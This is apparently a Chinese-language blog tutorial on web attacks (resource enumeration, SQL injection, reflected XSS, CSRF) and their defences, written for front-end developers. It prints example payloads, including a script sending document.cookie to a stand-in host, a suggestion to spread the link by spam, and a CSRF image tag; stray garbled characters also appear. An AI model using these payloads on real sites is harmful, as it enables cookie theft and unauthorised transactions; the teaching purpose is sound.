今天要聊的是WEB安全机制,但这“前端”二字倒是说的狭义了些,安全的问题大部分还是更依赖于后端的过滤和拦截措施,后端的朋友如果感兴趣,看一看也无妨。
你所知道的web攻击有哪些?
WEB基本攻击大致可以分为三大类—— “资源枚举”、“参数操纵” 和 “其它攻击”。
资源枚举
有时候受前人(技术前辈也好,你所接任的上一位员工也好)的影响,我们可能会约定成俗地去做某件事情,比如用骆驼命名法法来命名函数名、用JSDoc的方式来书写注释,这样会让你的团队工作更加规范。然后有一天要给项目做备份了,就直接把该项目压缩为rar文件,命名为什么呢?首选的自然是“bak.rar”,你看数据库的备份的形式不也是.bak嘛。
于是乎,如果压缩包所在的地址是可访问的,那么所有人都可以轻松地下载到这个"bak.rar"文件,你的项目也不存在什么小秘密了(即使夏天夏天悄悄地过去)。
这就是“资源枚举”,别有用心的人会遍历你站点所有可访问的目录,然后把一些常见的备胎文件名(比如“sql.bak”、“index-副本.html”)一个个都枚举一下,如果运气好枚举到了就直接下载。
于是跟随主流在这里不是好的事情,对于重要的东西,要么放在外人不可访问的地方,要么应当给它起一个不那么好猜的名字。
资源枚举也不仅仅局限于瞎找东西,聪明的人会利用线索来更好地猜东西。
假设有一个站点走的伪静态的高冷路线,不想让别人知道它所使用的语言和数据库,但没有配置好后端错误信息的提示。那么“别有用心”的朋友就可以在这个站点里的某个搜索结果页面篡改url参数,导致数据库查询错误而返回数据库错误信息页面,或者输入一个根本不存在的子页面地址来获取错误信息,进而可判断该站点到底用的是什么数据库或动态语言。
参数操纵
这里包括了SQL注入、XPath注入、cgi命令执行,还有XXS和会话劫持等。前三个的攻击主要是在服务端触发的,后二者的攻击则是侧重于客户端。
SQL注入这块不想细聊了,相信很多朋友都听到耳朵长茧,不外乎是提交含有SQL操作语句的信息给后端,后端如果没有做好过滤就执行该语句,攻击者自然可以随意操纵该站点的数据库。
比如有一个图书馆站点book.com,你点进一本书的详情页面,其url是这样的:
book.com/book?id=100
说明这本书在数据库中的键值是100,后端收到url参数后就执行了数据库查询操作:
select * from booktable where id='100'
那么如果我们把url更改为
book.com/book?id=100'or'1'='1
那么数据库操作执行就变成了:
select * from booktable where id='100'or'1'='1'
从而取出了整个booktable 表单的全部数据。
XPath注入跟SQL注入差不多,只不过这里的数据库走的xml格式,攻击方式自然也得按xml查找的语法来了,具体可看这里。
cgi命令执行指的是用户远程访问cgi脚本时,通过提交恶意的参数让服务器执行相关的cgi命令来获取信息甚至操纵服务器。有兴趣的朋友可以看下这里。
对于这几个攻击,我们需要做的自然是对提交参数的过滤,最好是前端过滤一遍,后端也过滤一遍(后端的过滤和拦截是最重要的,毕竟通过在浏览器禁用脚本的配置可以躲过前端的过滤)。
XSS攻击
跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
假设页面上有个搜索框,你随便搜索一个压根就没有的电影,比如“有钱任性指南”,然后点击“搜索”按钮。这时候页面(book.com/search?name=有钱任性指南)会返回一段信息:
您搜索的电影“有钱任性指南”不存在
好的,那我们输入这个怎样:
<script>alert('没有电影做个毛线影城啊')</script>
假设这个图书馆站点没有对数据做任何过滤,而且会原封不动地把用户输入的数据展示回来,那么返回的页面自然也会返回这段脚本,从而执行它。
编辑切换为居中
添加图片注释,不超过 140 字(可选)
但是这样不好*****************************************************************/*65,既然要做攻击,我们就要获取用户的数据,要获取数据自然要把信息传回我们的服务器(假设接收信息的地址是http://vajoy/get),那咱们可以这样写:
<script>document.location='http://vajoy/get?cookie='+document.cookie</script>
不过这样不好玩啊,收到的总是我们自己的数据,我们要收集的应该是别人的cookie信息啊!
小意思,不妨通过QQ群,或者通过群发垃圾邮件,来让其他人点击这个地址:
book.com/search?name=<script>document.location='http://vajoy/get?cookie='+document.cookie</script>
这种便是XSS攻击中的一种,称为“Reflected XSS”——基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起WEB攻击。
危害: 1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号 2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力 3、盗窃企业重要的具有商业价值的资料 4、非法转账 5、强制发送电子邮件 6、网站挂马 7、控制受害者机器向其它网站发起攻击 防范: XSS攻击其核心都是利用了脚本注入,因此我们解决办法其实很简单,不信赖用户输入,对特殊字符如”<”,”>”转义,就可以从根本上防止这一问题,当然很多解决方案都对XSS做了特定限制,如上面这中做法在ASP.NET中不幸不同,微软validateRequest对表单提交自动做了XSS验证。
其它攻击
其它攻击包括有前面未提及的CSRF攻击、钓鱼攻击和拒绝服务攻击等。
CSRF(cross-site request forgery),翻译为跨站请求伪造,与XSS非常相似,但XSS是利用用户对当前网站的信任来发起攻击,而CSRF是利用网站对用户的信任来发起攻击。
依旧拿上述的图书馆站点打个比方,如果它的安全机制很松懈——只要用户登录了网站后,只要没关闭浏览器,在任何情况都可以作为一个已通过身份验证的用户来做购书、借书操作(无须重新登录或者输入支付密码什么的,毕竟已经登录验证过一次了嘛)。
那么我们给一位用户发送一份邮件怎样,里面放有一条转向购书执行页面的链接。。。噢不,那样还得用户点击它,我们想让用户看到的时候就立刻执行了购书操作,我们可以这样做——在邮件中插入一张图片:
<img src='http://book.com/pay?bookid=100'/>、---
img、script、iframe标签都是不受同源策略限制的,假设你使用的邮箱很直白地给用户即时显示这张图片,而该用户又刚好登录了book.com且没有关闭浏览器,那么src里的连接就会立刻访问book.com/pay页面,并按照已通过身份验证的情况来处理,从而做了购书的操作。
相信现在你会很清楚为何现在的邮箱都不会直接显示邮件里的图片了吧——都是为了你的安全考虑。
对于CSRF攻击,我们所能做的可以有:
-
检查报头中的Referer参数确保请求发自正确的网站(但XHR请求可调用setRequestHeader方法来修改Referer报头);
-
对于任何重要的请求都需要重新验证用户的身份;
-
创建一个唯一的令牌(Token),将其存在服务端的session中及客户端的cookie中,对任何请求,都检查二者是否一致。
防范: 1、验证码。 应用程序和用户进行交互过程中,特别是账户交易这种核心步骤,强制用户输入验证码,才能完成最终请求。在通常情况下,验证码够很好地遏制 CSRF攻击。但增加验证码降低了用户的体验,网站不能给所有的操作都加上验证码。所以只能将验证码作为一种辅助手段,在关键业务点设置验证码。 2、Anti CSRF Token。 目前比较完善的解决方案是加入Anti-CSRF-Token,即发送请求时在HTTP 请 求中以参数的形式加入一个随机产生的token,并在服务器建立一个拦截器来验证这个token。服务器读取浏览器当前域cookie中这个token值,会进行校验该请求当中的token 和cookie当中的token值是否都存在且相等,才认为这是合法的请求。
攻击层面
攻击层面指的是有恶意的人可能会从哪些地方来入手制造麻烦,常见的攻击层面有三种:
一. 传统WEB应用程序
-
表单输入(甚至包括hidden控件的内容);
-
cookie(通过修改cookie内容也可以达到SQL注入攻击的目的);
-
报头(有时候为了方便统计来源数据,服务器会把客户端发来报头的Referer、User-Agent信息存到数据库中,那么通过修改报头信息也可以起到SQL注入工具目的)
-
请求参数
-
上传文件(在文件内携带恶意代码)
二. Web服务
-
上述“传统WEB服务”的全部方法;
-
WSDL文档(暴露+/了服务端的每个方法及其使用方式)
三. AJAX应用程序9*
即上述的“一”和“二”的合集//9*
解决方案
综上所述,我们可以这样审视我们的WEB站点:
-
永远不要相信客户端传来的任何信息,对这些信息都应先进行编码或过滤处理;
-
谨慎返回用户输入的信息;
-
使用黑名单和白名单处理(即“不允许哪些敏感信息”或“只允许哪些信息”,白名单的效果更好但局限性高);
-
检查、验证请求来源,对每一个重要的操作都进行重新验证;
-
使用SSL防止第三方监听通信(但无法阻止XSS、CSRF、SQL注入攻击);
-
不要将重要文件、备份文件存放在公众可访问到的地方;
-
会话ID无序化;
-
对用户上传的文件进行验证(不单单是格式验证,比方一张gif图片还应将其转为二进制并验证其每帧颜色值<无符号8位>和宽高值<无符号16位>);
-
WSDL文档应当要求用户注册后才能获取;
-
在报头定义CSP(Content Security Policy);
-
。。。
虽然我们有一些必要的手段来防止WEB攻击,但永远不会有一枚silver bullet来彻底解决问题,先不谈那些数不胜数的已知的、可被攻击的漏洞,对于谜一样的0-day漏洞,我们所能做的只是提前发现并及时修补它们。